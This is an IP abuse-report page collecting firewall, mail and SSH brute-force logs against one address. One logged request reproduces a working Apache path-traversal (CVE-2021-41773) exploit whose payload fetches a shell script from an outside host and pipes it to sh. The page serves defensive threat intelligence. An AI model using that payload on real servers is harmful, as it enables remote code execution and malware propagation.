This IP address has been reported a total of
97
times from
67 distinct
sources.
157.245.98.176 was first reported on
, and the most recent report was
.
Old Reports:
The most recent abuse report for this IP address is from
. It is possible that this IP is no longer involved in abusive activities.
Blocked by UFW (TCP on 5000)
Source port: 61012
TTL: 233
Packet length: 44
TOS: 0x08
This report (f ...
show moreBlocked by UFW (TCP on 5000)
Source port: 61012
TTL: 233
Packet length: 44
TOS: 0x08
This report (for 157.245.98.176) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
show less
Blocked by UFW on ns03 [8089/tcp] Source port: 61002 TTL: 237 Packet length: 44 TOS: 0x00 This repo ...
show moreBlocked by UFW on ns03 [8089/tcp] Source port: 61002 TTL: 237 Packet length: 44 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter
show less
2026-05-31T17:28:38.789000+02:00 mail postfix/smtps/smtpd[3547187]: lost connection after CONNECT fr ...
show more2026-05-31T17:28:38.789000+02:00 mail postfix/smtps/smtpd[3547187]: lost connection after CONNECT from unknown[157.245.98.176]
2026-05-31T17:28:39.125445+02:00 mail postfix/smtps/smtpd[3547187]: lost connection after CONNECT from unknown[157.245.98.176]
2026-05-31T17:28:39.476263+02:00 mail postfix/smtps/smtpd[3547187]: lost connection after CONNECT from unknown[157.245.98.176]
...
show less
ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/157.245.98.176
2026-05 ...
show moreThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/157.245.98.176
2026-05-15 01:45:29 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"(wget --no-check-certificate -qO- https://125.135.169.171/sh || curl -sk https://125.135.169.171/sh) | sh -s apache.selfrep","content_type":"text/plain","header":{"Accept":["*/*"],"Connection":["keep-alive"],"Content-Length":["123"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["libredtail-http"]},"host":"156.225.23.29:80","method":"POST","proto":"HTTP/1.1","remote_addr":"157.245.98.176:39436","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"libredtail-http"}
show less
WEB Apache HTTP Server Path traversal (CVE-2021-41773) Attack at 2026-05-14 15:30:52 GMT, Source: 15 ...
show moreWEB Apache HTTP Server Path traversal (CVE-2021-41773) Attack at 2026-05-14 15:30:52 GMT, Source: 157.245.98.176, Destination: 192.168.1.52. Reported at 2026-05-15 14:15:37 GMT
show less
Attack detected by Fortinet - apache: Apache.HTTP.Server.cgi-bin.Path.Traversal - 2026-05-14 20:35:2 ...
show moreAttack detected by Fortinet - apache: Apache.HTTP.Server.cgi-bin.Path.Traversal - 2026-05-14 20:35:24 - Source Port 55850
show less
May 15 05:04:30 hosting sshd[1646910]: Invalid user admin from 157.245.98.176 port 38328
May 15 05:0 ...
show moreMay 15 05:04:30 hosting sshd[1646910]: Invalid user admin from 157.245.98.176 port 38328
May 15 05:04:30 hosting sshd[1646910]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=157.245.98.176
May 15 05:04:32 hosting sshd[1646910]: Failed password for invalid user admin from 157.245.98.176 port 38328 ssh2
show less
May 15 04:13:55 hosting sshd[1631956]: Invalid user ubuntu from 157.245.98.176 port 39618
May 15 04: ...
show moreMay 15 04:13:55 hosting sshd[1631956]: Invalid user ubuntu from 157.245.98.176 port 39618
May 15 04:13:55 hosting sshd[1631956]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=157.245.98.176
May 15 04:13:57 hosting sshd[1631956]: Failed password for invalid user ubuntu from 157.245.98.176 port 39618 ssh2
show less
May 14 19:59:04 b146-67 sshd[2596012]: Invalid user orangepi from 157.245.98.176 port 59548
May 14 1 ...
show moreMay 14 19:59:04 b146-67 sshd[2596012]: Invalid user orangepi from 157.245.98.176 port 59548
May 14 19:59:04 b146-67 sshd[2596012]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=157.245.98.176
May 14 19:59:06 b146-67 sshd[2596012]: Failed password for invalid user orangepi from 157.245.98.176 port 59548 ssh2
...
show less
May 15 03:48:53 hosting sshd[1622684]: Invalid user frappe from 157.245.98.176 port 40930
May 15 03: ...
show moreMay 15 03:48:53 hosting sshd[1622684]: Invalid user frappe from 157.245.98.176 port 40930
May 15 03:48:53 hosting sshd[1622684]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=157.245.98.176
May 15 03:48:54 hosting sshd[1622684]: Failed password for invalid user frappe from 157.245.98.176 port 40930 ssh2
show less
May 15 03:22:22 hosting sshd[1614896]: Invalid user sshadmin from 157.245.98.176 port 54258
May 15 0 ...
show moreMay 15 03:22:22 hosting sshd[1614896]: Invalid user sshadmin from 157.245.98.176 port 54258
May 15 03:22:22 hosting sshd[1614896]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=157.245.98.176
May 15 03:22:24 hosting sshd[1614896]: Failed password for invalid user sshadmin from 157.245.98.176 port 54258 ssh2
show less
SSH
Brute-Force
Showing 1 to
15
of 97 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩